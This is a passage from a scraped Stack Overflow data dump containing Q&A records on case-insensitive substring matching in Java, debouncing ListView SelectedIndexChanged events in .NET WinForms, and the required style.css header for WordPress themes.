am&quot;), Pattern.CASE_INSENSITIVE);\n \n // Case 5 with pre-cached Pattern\n public static boolean containsIgnoreCaseRegexp(String src) {\n return P.matcher(src).find();\n }\n \n // Main method: perfroms speed analysis on different contains methods\n // (case ignored)\n public static void main(String[] args) throws Exception {\n final String src = &quot;Hi, I am Adam&quot;;\n final String what = &quot;i am&quot;;\n \n long start, end;\n final int N = 10_000_000;\n \n start = System.nanoTime();\n for (int i = 0; i &lt; N; i++)\n containsIgnoreCase(src, what);\n end = System.nanoTime();\n System.out.println(&quot;Case 1 took &quot; + ((end - start) / 1000000) + &quot;ms&quot;);\n \n start = System.nanoTime();\n for (int i = 0; i &lt; N; i++)\n containsConverting(src, what);\n end = System.nanoTime();\n System.out.println(&quot;Case 2 took &quot; + ((end - start) / 1000000) + &quot;ms&quot;);\n \n start = System.nanoTime();\n for (int i = 0; i &lt; N; i++)\n containsConverting(src);\n end = System.nanoTime();\n System.out.println(&quot;Case 3 took &quot; + ((end - start) / 1000000) + &quot;ms&quot;);\n \n start = System.nanoTime();\n for (int i = 0; i &lt; N; i++)\n containsIgnoreCaseRegexp(src, what);\n end = System.nanoTime();\n System.out.println(&quot;Case 4 took &quot; + ((end - start) / 1000000) + &quot;ms&quot;);\n \n start = System.nanoTime();\n for (int i = 0; i &lt; N; i++)\n containsIgnoreCaseRegexp(src);\n end = System.nanoTime();\n System.out.println(&quot;Case 5 took &quot; + ((end - start) / 1000000) + &quot;ms&quot;);\n }\n \n}\n</code></pre>\n" }, { "answer_id": 29485939, "author": "Revertron", "author_id": 2605687, "author_profile": "https://Stackoverflow.com/users/2605687", "pm_score": 0, "selected": false, "text": "<p>If you have to search an ASCII string in another ASCII string, such as a <a href=\"http://en.wikipedia.org/wiki/Uniform_resource_locator\" rel=\"nofollow\">URL</a>, you will find my solution to be better. I've tested icza's method and mine for the speed and here are the results:</p>\n\n<ul>\n<li>Case 1 took 2788 ms - regionMatches</li>\n<li>Case 2 took 1520 ms - my</li>\n</ul>\n\n<p>The code:</p>\n\n<pre><code>public static String lowerCaseAscii(String s) {\n if (s == null)\n return null;\n\n int len = s.length();\n char[] buf = new char[len];\n s.getChars(0, len, buf, 0);\n for (int i=0; i&lt;len; i++) {\n if (buf[i] &gt;= 'A' &amp;&amp; buf[i] &lt;= 'Z')\n buf[i] += 0x20;\n }\n\n return new String(buf);\n}\n\npublic static boolean containsIgnoreCaseAscii(String str, String searchStr) {\n return StringUtils.contains(lowerCaseAscii(str), lowerCaseAscii(searchStr));\n}\n</code></pre>\n" }, { "answer_id": 34069545, "author": "Erick Kondela", "author_id": 5635648, "author_profile": "https://Stackoverflow.com/users/5635648", "pm_score": -1, "selected": false, "text": "<p>You could simply do something like this:</p>\n\n<pre><code>String s1 = \"AbBaCca\";\nString s2 = \"bac\";\nString toLower = s1.toLowerCase();\nreturn toLower.contains(s2);\n</code></pre>\n" }, { "answer_id": 40508106, "author": "Stéphane GRILLON", "author_id": 3535537, "author_profile": "https://Stackoverflow.com/users/3535537", "pm_score": 0, "selected": false, "text": "<pre><code>import java.text.Normalizer;\n\nimport org.apache.commons.lang3.StringUtils;\n\npublic class ContainsIgnoreCase {\n\n public static void main(String[] args) {\n\n String in = \" Annulée \";\n String key = \"annulee\";\n\n // 100% java\n if (Normalizer.normalize(in, Normalizer.Form.NFD).replaceAll(\"[\\\\p{InCombiningDiacriticalMarks}]\", \"\").toLowerCase().contains(key)) {\n System.out.println(\"OK\");\n } else {\n System.out.println(\"KO\");\n }\n\n // use commons.lang lib\n if (StringUtils.containsIgnoreCase(Normalizer.normalize(in, Normalizer.Form.NFD).replaceAll(\"[\\\\p{InCombiningDiacriticalMarks}]\", \"\"), key)) {\n System.out.println(\"OK\");\n } else {\n System.out.println(\"KO\");\n }\n\n }\n\n}\n</code></pre>\n" }, { "answer_id": 47787761, "author": "Takhir Atamuratov", "author_id": 4793760, "author_profile": "https://Stackoverflow.com/users/4793760", "pm_score": 2, "selected": false, "text": "<pre><code>\"AbCd\".toLowerCase().contains(\"abcD\".toLowerCase())\n</code></pre>\n" }, { "answer_id": 55967261, "author": "Soudipta Dutta", "author_id": 6037956, "author_profile": "https://Stackoverflow.com/users/6037956", "pm_score": 0, "selected": false, "text": "<p>We can use stream with anyMatch and contains of Java 8</p>\n\n<pre><code>public class Test2 {\n public static void main(String[] args) {\n\n String a = \"Gina Gini Protijayi Soudipta\";\n String b = \"Gini\";\n\n System.out.println(WordPresentOrNot(a, b));\n }// main\n\n private static boolean WordPresentOrNot(String a, String b) {\n //contains is case sensitive. That's why change it to upper or lower case. Then check\n // Here we are using stream with anyMatch\n boolean match = Arrays.stream(a.toLowerCase().split(\" \")).anyMatch(b.toLowerCase()::contains);\n return match;\n }\n\n}\n</code></pre>\n" }, { "answer_id": 55980176, "author": "Mr.Q", "author_id": 3593084, "author_profile": "https://Stackoverflow.com/users/3593084", "pm_score": 2, "selected": false, "text": "<p>There is a simple concise way, using regex flag (case insensitive {i}):</p>\n\n<pre><code> String s1 = \"hello abc efg\";\n String s2 = \"ABC\";\n s1.matches(\".*(?i)\"+s2+\".*\");\n\n/*\n * .* denotes every character except line break\n * (?i) denotes case insensitivity flag enabled for s2 (String)\n * */\n</code></pre>\n" }, { "answer_id": 57317029, "author": "Syed Salman Hassan", "author_id": 11754064, "author_profile": "https://Stackoverflow.com/users/11754064", "pm_score": 0, "selected": false, "text": "<p>or you can use a simple approach and just convert the string's case to substring's case and then use contains method.</p>\n" } ]
2008/09/17
[ "https://Stackoverflow.com/questions/86780", "https://Stackoverflow.com", "https://Stackoverflow.com/users/2628/" ]
Say I have two strings, ``` String s1 = "AbBaCca"; String s2 = "bac"; ``` I want to perform a check returning that `s2` is contained within `s1`. I can do this with: ``` return s1.contains(s2); ``` I am pretty sure that `contains()` is case sensitive, however I can't determine this for sure from reading the documentation. If it is then I suppose my best method would be something like: ``` return s1.toLowerCase().contains(s2.toLowerCase()); ``` All this aside, is there another (possibly better) way to accomplish this without caring about case-sensitivity?
Yes, contains is case sensitive. You can use java.util.regex.Pattern with the CASE\_INSENSITIVE flag for case insensitive matching: ``` Pattern.compile(Pattern.quote(wantedStr), Pattern.CASE_INSENSITIVE).matcher(source).find(); ``` **EDIT:** If s2 contains regex special characters (of which there are many) it's important to quote it first. I've corrected my answer since it is the first one people will see, but vote up Matt Quail's since he pointed this out.
86,793
<p>If a user select all items in a .NET 2.0 ListView, the ListView will fire a <strong>SelectedIndexChanged</strong> event for every item, rather than firing an event to indicate that the <em>selection</em> has changed.</p> <p>If the user then clicks to select just one item in the list, the ListView will fire a <strong>SelectedIndexChanged</strong> event for <em>every</em> item that is getting unselected, and then an <strong>SelectedIndexChanged</strong> event for the single newly selected item, rather than firing an event to indicate that the selection has changed.</p> <p>If you have code in the <strong>SelectedIndexChanged</strong> event handler, the program will become pretty unresponsive when you begin to have a few hundred/thousand items in the list.</p> <p>I've thought about <em>dwell timers</em>, etc.</p> <p>But does anyone have a good solution to avoid thousands of needless ListView.<strong>SelectedIndexChange</strong> events, when really <strong>one event</strong> will do?</p>
[ { "answer_id": 86893, "author": "Rob", "author_id": 12413, "author_profile": "https://Stackoverflow.com/users/12413", "pm_score": 0, "selected": false, "text": "<p>I would either try tying the postback to a button to allow the user to submit their changes and unhook the event handler.</p>\n" }, { "answer_id": 86899, "author": "Community", "author_id": -1, "author_profile": "https://Stackoverflow.com/users/-1", "pm_score": 0, "selected": false, "text": "<p>I was just trying to tackle this very problem yesterday. I don't know exactly what you mean by \"dwell\" timers, but I tried implementing my very own version of waiting until all changes are done. Unfortunately the only way I could think of to do this was in a separate thread and it turns out that when you create a separate thread, your UI elements are inaccessible in that thread. .NET throws an exception stating that the UI elements can only be accessed in the thread where the elements were created! So, I found a way to optimize my response to the SelectedIndexChanged and make it fast enough to where it is bearable - its not a scalable solution though. Lets hope someone has a clever idea to tackle this problem in a single thread.</p>\n" }, { "answer_id": 87204, "author": "Ian Boyd", "author_id": 12597, "author_profile": "https://Stackoverflow.com/users/12597", "pm_score": 2, "selected": false, "text": "<p>This is the dwell timer solution i'm using for now (dwell just means \"wait for a little bit\"). This code might suffer from a race condition, and perhaps a null reference exception. </p>\n\n<pre><code>Timer changeDelayTimer = null;\n\nprivate void lvResults_SelectedIndexChanged(object sender, EventArgs e)\n{\n if (this.changeDelayTimer == null)\n {\n this.changeDelayTimer = new Timer();\n this.changeDelayTimer.Tick += ChangeDelayTimerTick;\n this.changeDelayTimer.Interval = 200; //200ms is what Explorer uses\n }\n this.changeDelayTimer.Enabled = false;\n this.changeDelayTimer.Enabled = true;\n}\n\nprivate void ChangeDelayTimerTick(object sender, EventArgs e)\n{\n this.changeDelayTimer.Enabled = false;\n this.changeDelayTimer.Dispose();\n this.changeDelayTimer = null;\n\n //Add original SelectedIndexChanged event handler code here\n //todo\n}\n</code></pre>\n" }, { "answer_id": 980971, "author": "Robert Jeppesen", "author_id": 9436, "author_profile": "https://Stackoverflow.com/users/9436", "pm_score": 5, "selected": true, "text": "<p>Good solution from Ian. I took that and made it into a reusable class, making sure to dispose of the timer properly. I also reduced the interval to get a more responsive app. This control also doublebuffers to reduce flicker.</p>\n\n<pre><code> public class DoublebufferedListView : System.Windows.Forms.ListView\n {\n private Timer m_changeDelayTimer = null;\n public DoublebufferedListView()\n : base()\n {\n // Set common properties for our listviews\n if (!SystemInformation.TerminalServerSession)\n {\n DoubleBuffered = true;\n SetStyle(ControlStyles.ResizeRedraw, true);\n }\n }\n\n /// &lt;summary&gt;\n /// Make sure to properly dispose of the timer\n /// &lt;/summary&gt;\n /// &lt;param name=\"disposing\"&gt;&lt;/param&gt;\n protected override void Dispose(bool disposing)\n {\n if (disposing &amp;&amp; m_changeDelayTimer != null)\n {\n m_changeDelayTimer.Tick -= ChangeDelayTimerTick;\n m_changeDelayTimer.Dispose();\n }\n base.Dispose(disposing);\n }\n\n /// &lt;summary&gt;\n /// Hack to avoid lots of unnecessary change events by marshaling with a timer:\n /// http://stackoverflow.com/questions/86793/how-to-avoid-thousands-of-needless-listview-selectedindexchanged-events\n /// &lt;/summary&gt;\n /// &lt;param name=\"e\"&gt;&lt;/param&gt;\n protected override void OnSelectedIndexChanged(EventArgs e)\n {\n if (m_changeDelayTimer == null)\n {\n m_changeDelayTimer = new Timer();\n m_changeDelayTimer.Tick += ChangeDelayTimerTick;\n m_changeDelayTimer.Interval = 40;\n }\n // When a new SelectedIndexChanged event arrives, disable, then enable the\n // timer, effectively resetting it, so that after the last one in a batch\n // arrives, there is at least 40 ms before we react, plenty of time \n // to wait any other selection events in the same batch.\n m_changeDelayTimer.Enabled = false;\n m_changeDelayTimer.Enabled = true;\n }\n\n private void ChangeDelayTimerTick(object sender, EventArgs e)\n {\n m_changeDelayTimer.Enabled = false;\n base.OnSelectedIndexChanged(new EventArgs());\n }\n }\n</code></pre>\n\n<p>Do let me know if this can be improved.</p>\n" }, { "answer_id": 1018964, "author": "Community", "author_id": -1, "author_profile": "https://Stackoverflow.com/users/-1", "pm_score": 0, "selected": false, "text": "<p>Maybe this can help you to accomplish what you need without using timers:</p>\n\n<p><a href=\"http://www.dotjem.com/archive/2009/06/19/20.aspx\" rel=\"nofollow noreferrer\">http://www.dotjem.com/archive/2009/06/19/20.aspx</a></p>\n\n<p>I Don't like the user of timers ect. As i also state in the post...</p>\n\n<p>Hope it helps... </p>\n\n<p>Ohh i forgot to say, it's .NET 3.5, and I am using some of the features in linq to acomplish \"Selection Changes Evaluation\" if you can call it that o.O...</p>\n\n<p>Anyways, if you are on an older version, this evaluation has to be done with a bit more code... >.&lt;...</p>\n" }, { "answer_id": 1090045, "author": "Community", "author_id": -1, "author_profile": "https://Stackoverflow.com/users/-1", "pm_score": 1, "selected": false, "text": "<p>The timer is the best overall solution.</p>\n\n<p>A problem with Jens's suggestion is that once the list has a lot of selected items (thousands or more), getting the list of selected items starts to take a long time.</p>\n\n<p>Instead of creating a timer object every time a SelectedIndexChanged event occurs, it's simpler to just put a permanent one on the form with the designer, and have it check a boolean variable in the class to see whether or not it should call the updating function.</p>\n\n<p>For example:</p>\n\n<pre><code>bool timer_event_should_call_update_controls = false;\n\nprivate void lvwMyListView_SelectedIndexChanged(object sender, EventArgs e) {\n\n timer_event_should_call_update_controls = true;\n}\n\nprivate void UpdateControlsTimer_Tick(object sender, EventArgs e) {\n\n if (timer_event_should_call_update_controls) {\n timer_event_should_call_update_controls = false;\n\n update_controls();\n }\n}\n</code></pre>\n\n<p>This works fine if you're using the information simply for display purposes, such as updating a status bar to say \"X out of Y selected\".</p>\n" }, { "answer_id": 1090070, "author": "Joe Chung", "author_id": 86483, "author_profile": "https://Stackoverflow.com/users/86483", "pm_score": 0, "selected": false, "text": "<p>I recommend virtualizing your list view if it has a few hundred or thousand items.</p>\n" }, { "answer_id": 1091023, "author": "Jens", "author_id": 134076, "author_profile": "https://Stackoverflow.com/users/134076", "pm_score": 0, "selected": false, "text": "<p>Maylon >>></p>\n\n<p>The aim was never to work with list above a few hundreds items, But...\nI have tested the Overall user experience with 10.000 items, and selections of 1000-5000 items at one time (and changes of 1000-3000 items in both Selected and Deselected)...</p>\n\n<p>The overall duration of calculating never exceeded 0.1 sec, some of the highest measurements was of 0.04sec, I Found that perfectly acceptable with that many items.</p>\n\n<p>And at 10.000 items, just initializing the list takes over 10 seconds, so at this point I would have thought other things had come in to play, as Virtualization as Joe Chung points out.</p>\n\n<p>That said, it should be clear that the code is not an optimal solution in how it calculates the difference in the selection, if needed this can be improved a lot and in various ways, I focused on the understanding of the concept with the code rather than the performance.</p>\n\n<p>However, if your experiencing degraded performance I am very interested in some of the following:</p>\n\n<ul>\n<li>How many items in the list?</li>\n<li>How many selected/deselected elements at a time?</li>\n<li>How long does it roughly take for the event to raise?</li>\n<li>Hardware platform?</li>\n<li>More about The case of use?</li>\n<li>Other relevant information you can think of?</li>\n</ul>\n\n<p>Otherwise it ain't easy to help improving the solution.</p>\n" }, { "answer_id": 1091035, "author": "leppie", "author_id": 15541, "author_profile": "https://Stackoverflow.com/users/15541", "pm_score": 0, "selected": false, "text": "<p>Leave the <code>ListView</code> and all the old controls.</p>\n\n<p>Make <code>DataGridView</code> your friend, and all will be well :)</p>\n" }, { "answer_id": 3651216, "author": "Anthony Urwin", "author_id": 321104, "author_profile": "https://Stackoverflow.com/users/321104", "pm_score": 1, "selected": false, "text": "<p>A flag works for the OnLoad event of the windows form / web form / mobile form.\nIn a single select Listview, not multi-select, the following code is simple to implement, and prevents multiple firing of the event.</p>\n\n<p>As the ListView de-selects the first item, the second item it what you need and the collection should only ever contain one item.</p>\n\n<p>The same below was used in a mobile application, therefore some of the collection names might be different as it is using the compact framework, however the same principles apply.</p>\n\n<p>Note: Make sure OnLoad and populate of the listview you set the first item to be selected.</p>\n\n<pre><code>// ################ CODE STARTS HERE ################\n//Flag to create at the form level\nSystem.Boolean lsvLoadFlag = true;\n\n//Make sure to set the flag to true at the begin of the form load and after\nprivate void frmMain_Load(object sender, EventArgs e)\n{\n //Prevent the listview from firing crazy in a single click NOT multislect environment\n lsvLoadFlag = true;\n\n //DO SOME CODE....\n\n //Enable the listview to process events\n lsvLoadFlag = false;\n}\n\n//Populate First then this line of code\nlsvMain.Items[0].Selected = true;\n\n//SelectedIndexChanged Event\n private void lsvMain_SelectedIndexChanged(object sender, EventArgs e)\n{\n ListViewItem lvi = null;\n\n if (!lsvLoadFlag)\n {\n if (this.lsvMain.SelectedIndices != null)\n {\n if (this.lsvMain.SelectedIndices.Count == 1)\n {\n lvi = this.lsvMain.Items[this.lsvMain.SelectedIndices[0]];\n }\n }\n }\n}\n################ CODE END HERE ################\n</code></pre>\n\n<p>Ideally, this code should be put into a UserControl for easy re-use and distrbution in a single select ListView. This code would not be much use in a multi-select, as the event works as it should for that behavior.</p>\n\n<p>I hope that helps.</p>\n\n<p>Kind regards,</p>\n\n<p>Anthony N. Urwin\n<a href=\"http://www.manatix.com\" rel=\"nofollow noreferrer\">http://www.manatix.com</a></p>\n" }, { "answer_id": 4045889, "author": "Ian Boyd", "author_id": 12597, "author_profile": "https://Stackoverflow.com/users/12597", "pm_score": 0, "selected": false, "text": "<p>Raymond Chen <a href=\"http://blogs.msdn.com/b/oldnewthing/archive/2010/10/28/10081818.aspx\" rel=\"nofollow\">has a blog post that (probably) explains <em>why</em> there are thousands of change events</a>, rather than just one:</p>\n\n<blockquote>\n <p><a href=\"http://blogs.msdn.com/b/oldnewthing/archive/2010/10/28/10081818.aspx\" rel=\"nofollow\">Why is there an LVN_ODSTATECHANGED notification when there's already a perfectly good LVN_ITEMCHANGED notification?</a></p>\n \n <p>...<br>\n The <code>LVN_ODSTATECHANGED</code> notification\n tells you that the state of all items\n in the specified range has changed.\n It's a shorthand for sending an\n individual <code>LVN_ITEMCHANGED</code> for all\n items in the range <code>[iFrom..iTo]</code>. If\n you have an ownerdata list view with\n 500,000 items and somebody does a\n select-all, you'll be glad that you\n get a single <code>LVN_ODSTATECHANGED</code>\n notification with <code>iFrom=0</code> and\n <code>iTo=499999</code> instead of a half million\n individual little <code>LVN_ITEMCHANGED</code>\n notifications.</p>\n</blockquote>\n\n<p>i say <em>probably</em> explains why, because there's no guarantee that the .NET list view is a wrapper around the Listview Common Control - that's an implementation detail that is free to change at any time (although almost certainly never will).</p>\n\n<p>The hinted solution is to use the .NET listview in virtual mode, making the control an order of magnitude more difficult to use.</p>\n" }, { "answer_id": 7005667, "author": "Kind Contributor", "author_id": 887092, "author_profile": "https://Stackoverflow.com/users/887092", "pm_score": 0, "selected": false, "text": "<p>I may have a better solution. </p>\n\n<p>My situation:</p>\n\n<ul>\n<li>Single select list view (rather than multi-select)</li>\n<li>I want to avoid processing the event when it fires for deselection of the previously selected item.</li>\n</ul>\n\n<p>My solution:</p>\n\n<ul>\n<li>Record what item the user clicked on MouseDown</li>\n<li>Ignore the SelectedIndexChanged event if this item is not null and SelectedIndexes.Count == 0</li>\n</ul>\n\n<p>Code:</p>\n\n<pre><code>ListViewItem ItemOnMouseDown = null;\nprivate void lvTransactions_MouseDown(object sender, MouseEventArgs e)\n{\n ItemOnMouseDown = lvTransactions.GetItemAt(e.X, e.Y);\n}\nprivate void lvTransactions_SelectedIndexChanged(object sender, EventArgs e)\n{\n if (ItemOnMouseDown != null &amp;&amp; lvTransactions.SelectedIndices.Count == 0)\n return;\n\n SelectedIndexDidReallyChange();\n\n}\n</code></pre>\n" }, { "answer_id": 21136142, "author": "Jack Culhane", "author_id": 1805643, "author_profile": "https://Stackoverflow.com/users/1805643", "pm_score": 2, "selected": false, "text": "<p>Old question I know, but this still seems to be an issue.</p>\n\n<p>Here is my solution not using timers.</p>\n\n<p>It waits for the MouseUp or KeyUp event before firing the SelectionChanged event.\nIf you are changing the selection programatically, then this will not work, the event won't fire, but you could easily add a FinishedChanging event or something to trigger the event.</p>\n\n<p>(It also has some stuff to stop flickering which isn't relevant to this question).</p>\n\n<pre><code>public class ListViewNF : ListView\n{\n bool SelectedIndexChanging = false;\n\n public ListViewNF()\n {\n this.SetStyle(ControlStyles.OptimizedDoubleBuffer | ControlStyles.AllPaintingInWmPaint, true);\n this.SetStyle(ControlStyles.EnableNotifyMessage, true);\n }\n\n protected override void OnNotifyMessage(Message m)\n {\n if(m.Msg != 0x14)\n base.OnNotifyMessage(m);\n }\n\n protected override void OnSelectedIndexChanged(EventArgs e)\n {\n SelectedIndexChanging = true;\n //base.OnSelectedIndexChanged(e);\n }\n\n protected override void OnMouseUp(MouseEventArgs e)\n {\n if (SelectedIndexChanging)\n {\n base.OnSelectedIndexChanged(EventArgs.Empty);\n SelectedIndexChanging = false;\n }\n\n base.OnMouseUp(e);\n }\n\n protected override void OnKeyUp(KeyEventArgs e)\n {\n if (SelectedIndexChanging)\n {\n base.OnSelectedIndexChanged(EventArgs.Empty);\n SelectedIndexChanging = false;\n }\n\n base.OnKeyUp(e);\n }\n}\n</code></pre>\n" }, { "answer_id": 42375473, "author": "Amir Saniyan", "author_id": 309798, "author_profile": "https://Stackoverflow.com/users/309798", "pm_score": 1, "selected": false, "text": "<p>You can use <code>async</code> &amp; <code>await</code>:</p>\n\n<pre><code>private bool waitForUpdateControls = false;\n\nprivate async void listView_SelectedIndexChanged(object sender, EventArgs e)\n{\n // To avoid thousands of needless ListView.SelectedIndexChanged events.\n\n if (waitForUpdateControls)\n {\n return;\n }\n\n waitForUpdateControls = true;\n\n await Task.Delay(100);\n\n waitForUpdateControls = false;\n\n UpdateControls();\n\n return;\n}\n</code></pre>\n" }, { "answer_id": 73822533, "author": "Beeeaaar", "author_id": 714557, "author_profile": "https://Stackoverflow.com/users/714557", "pm_score": 0, "selected": false, "text": "<p>What worked for me was just using the OnClick event.</p>\n<p>I just needed to get a single value and get out, and the first choice was fine, whether it was the same original value or a new one.</p>\n<p>The click seems to occur after all of the selection changes are done, like the timer would do.</p>\n<p>Click ensures a real click occurred rather than just mouse up. Though in practice probably makes no difference unless they slid into the dropdown with the mouse down and released.</p>\n<p>This worked for me because, click seems to only fire in the list item bearing client area. And I had no headers to click on.</p>\n<p>I just had a plain single control popup dropdown. And I didn't have to worry about key movements selecting items. Any key movements on a property grid dropdown cancel the dropdown.</p>\n<p>Trying to close in the middle of SelectedIndexChanged would many times cause a crash also. But closing during Click is fine.</p>\n<p>The crashing thing was what caused me to look for alternatives and find this post.</p>\n<pre><code> void OnClick(object sender, EventArgs e)\n {\n if (this.isInitialize) // kind of pedantic\n return;\n\n if (this.SelectedIndices.Count &gt; 0)\n {\n string value = this.SelectedItems[0].Tag;\n if (value != null)\n {\n this.OutValue = value;\n }\n }\n\n //NOTE: if this close is done in SelectedIndexChanged, will crash\n // with corrupted memory error if an item was already selected\n\n // Tell property grid to close the wrapper Form\n var editorService = provider.GetService(typeof(IWindowsFormsEditorService)) as IWindowsFormsEditorService;\n if ((object)editorService != null)\n {\n editorService.CloseDropDown();\n }\n }\n</code></pre>\n" } ]
2008/09/17
[ "https://Stackoverflow.com/questions/86793", "https://Stackoverflow.com", "https://Stackoverflow.com/users/12597/" ]
If a user select all items in a .NET 2.0 ListView, the ListView will fire a **SelectedIndexChanged** event for every item, rather than firing an event to indicate that the *selection* has changed. If the user then clicks to select just one item in the list, the ListView will fire a **SelectedIndexChanged** event for *every* item that is getting unselected, and then an **SelectedIndexChanged** event for the single newly selected item, rather than firing an event to indicate that the selection has changed. If you have code in the **SelectedIndexChanged** event handler, the program will become pretty unresponsive when you begin to have a few hundred/thousand items in the list. I've thought about *dwell timers*, etc. But does anyone have a good solution to avoid thousands of needless ListView.**SelectedIndexChange** events, when really **one event** will do?
Good solution from Ian. I took that and made it into a reusable class, making sure to dispose of the timer properly. I also reduced the interval to get a more responsive app. This control also doublebuffers to reduce flicker. ``` public class DoublebufferedListView : System.Windows.Forms.ListView { private Timer m_changeDelayTimer = null; public DoublebufferedListView() : base() { // Set common properties for our listviews if (!SystemInformation.TerminalServerSession) { DoubleBuffered = true; SetStyle(ControlStyles.ResizeRedraw, true); } } /// <summary> /// Make sure to properly dispose of the timer /// </summary> /// <param name="disposing"></param> protected override void Dispose(bool disposing) { if (disposing && m_changeDelayTimer != null) { m_changeDelayTimer.Tick -= ChangeDelayTimerTick; m_changeDelayTimer.Dispose(); } base.Dispose(disposing); } /// <summary> /// Hack to avoid lots of unnecessary change events by marshaling with a timer: /// http://stackoverflow.com/questions/86793/how-to-avoid-thousands-of-needless-listview-selectedindexchanged-events /// </summary> /// <param name="e"></param> protected override void OnSelectedIndexChanged(EventArgs e) { if (m_changeDelayTimer == null) { m_changeDelayTimer = new Timer(); m_changeDelayTimer.Tick += ChangeDelayTimerTick; m_changeDelayTimer.Interval = 40; } // When a new SelectedIndexChanged event arrives, disable, then enable the // timer, effectively resetting it, so that after the last one in a batch // arrives, there is at least 40 ms before we react, plenty of time // to wait any other selection events in the same batch. m_changeDelayTimer.Enabled = false; m_changeDelayTimer.Enabled = true; } private void ChangeDelayTimerTick(object sender, EventArgs e) { m_changeDelayTimer.Enabled = false; base.OnSelectedIndexChanged(new EventArgs()); } } ``` Do let me know if this can be improved.
86,800
<p>I've recently embarked upon the <em>grand voyage</em> of Wordpress theming and I've been reading through the Wordpress documentation for how to write a theme. One thing I came across <a href="http://codex.wordpress.org/Theme_Development" rel="nofollow noreferrer">here</a> was that the <code>style.css</code> file must contain a specific header in order to be used by the Wordpress engine. They give a brief example but I haven't been able to turn up any formal description of what must be in the <code>style.css</code> header portion. Does this exist on the Wordpress site? If it doesn't could we perhaps describe it here?</p>
[ { "answer_id": 86841, "author": "Martin", "author_id": 15840, "author_profile": "https://Stackoverflow.com/users/15840", "pm_score": 1, "selected": false, "text": "<p>You are probably thinking about this:</p>\n\n<pre><code>/*\nTHEME NAME: Parallax\nTHEME URI: http://parallaxdenigrate.net\nVERSION: .1\nAUTHOR: Martin Jacobsen\nAUTHOR URI: http://martinjacobsen.no\n*/\n</code></pre>\n\n<p>If I'm not way off, Wordpress uses this info to display in the \"Activate Design\" dialog in the admin backend.</p>\n" }, { "answer_id": 86860, "author": "cori", "author_id": 8151, "author_profile": "https://Stackoverflow.com/users/8151", "pm_score": 4, "selected": true, "text": "<p>Based on <a href=\"http://codex.wordpress.org/Theme_Development\" rel=\"nofollow noreferrer\">http://codex.wordpress.org/Theme_Development</a>:</p>\n\n<p>The following is an example of the first few lines of the stylesheet, called the style sheet header, for the Theme \"Rose\":</p>\n\n<pre><code>/* \nTheme Name: Rose\nTheme URI: the-theme's-homepage\nDescription: a-brief-description\nAuthor: your-name\nAuthor URI: your-URI\nTemplate: use-this-to-define-a-parent-theme--optional\nVersion: a-number--optional\nTags: a-comma-delimited-list--optional\n.\nGeneral comments/License Statement if any.\n.\n*/\n</code></pre>\n\n<p>The simplest Theme includes only a style.css file, plus images if any. To create such a Theme, you must specify a set of templates to inherit for use with the Theme by editing the Template: line in the style.css header comments. For example, if you wanted the Theme \"Rose\" to inherit the templates from another Theme called \"test\", you would include Template: test in the comments at the beginning of Rose's style.css. Now \"test\" is the parent Theme for \"Rose\", which still consists only of a style.css file and the concomitant images, all located in the directory wp-content/themes/Rose. (Note that specifying a parent Theme will inherit all of the template files from that Theme — meaning that any template files in the child Theme's directory will be ignored.)</p>\n\n<p>The comment header lines in style.css are required for WordPress to be able to identify a Theme and display it in the Administration Panel under Design > Themes as an available Theme option along with any other installed Themes. </p>\n\n<p>The Theme Name, Version, Author, and Author URI fields are parsed by WordPress and used to display that data in the Current Theme area on the top line of the current theme information, where the Author's Name is hyperlinked to the Author URI. The Description and Tag fields are parsed and displayed in the body of the theme's information, and if the theme has a parent theme, that information is placed in the information body as well. In the Available Themes section, only the Theme Name, Description, and Tags fields are used.</p>\n\n<p>None of these fields have any restrictions - all are parsed as strings. In addition, none of them are required in the code, though in practice the fields not marked as optional in the list above are all used to provide contextual information to the WordPress administrator and should be included for all themes.</p>\n" } ]
2008/09/17
[ "https://Stackoverflow.com/questions/86800", "https://Stackoverflow.com", "https://Stackoverflow.com/users/16562/" ]
I've recently embarked upon the *grand voyage* of Wordpress theming and I've been reading through the Wordpress documentation for how to write a theme. One thing I came across [here](http://codex.wordpress.org/Theme_Development) was that the `style.css` file must contain a specific header in order to be used by the Wordpress engine. They give a brief example but I haven't been able to turn up any formal description of what must be in the `style.css` header portion. Does this exist on the Wordpress site? If it doesn't could we perhaps describe it here?
Based on <http://codex.wordpress.org/Theme_Development>: The following is an example of the first few lines of the stylesheet, called the style sheet header, for the Theme "Rose": ``` /* Theme Name: Rose Theme URI: the-theme's-homepage Description: a-brief-description Author: your-name Author URI: your-URI Template: use-this-to-define-a-parent-theme--optional Version: a-number--optional Tags: a-comma-delimited-list--optional . General comments/License Statement if any. . */ ``` The simplest Theme includes only a style.css file, plus images if any. To create such a Theme, you must specify a set of templates to inherit for use with the Theme by editing the Template: line in the style.css header comments. For example, if you wanted the Theme "Rose" to inherit the templates from another Theme called "test", you would include Template: test in the comments at the beginning of Rose's style.css. Now "test" is the parent Theme for "Rose", which still consists only of a style.css file and the concomitant images, all located in the directory wp-content/themes/Rose. (Note that specifying a parent Theme will inherit all of the template files from that Theme — meaning that any template files in the child Theme's directory will be ignored.) The comment header lines in style.css are required for WordPress to be able to identify a Theme and display it in the Administration Panel under Design > Themes as an available Theme option along with any other installed Themes. The Theme Name, Version, Author, and Author URI fields are parsed by WordPress and used to display that data in the Current Theme area on the top line of the current theme information, where the Author's Name is hyperlinked to the Author URI. The Description and Tag fields are parsed and displayed in the body of the theme's information, and if the theme has a parent theme, that information is placed in the information body as well. In the Available Themes section, only the Theme Name, Description, and Tags fields are used. None of these fields have any restrictions - all are parsed as strings. In addition, none of them are required in the code, though in practice the fields not marked as optional in the list above are all used to provide contextual information to the WordPress administrator and should be included for all themes.
86,824
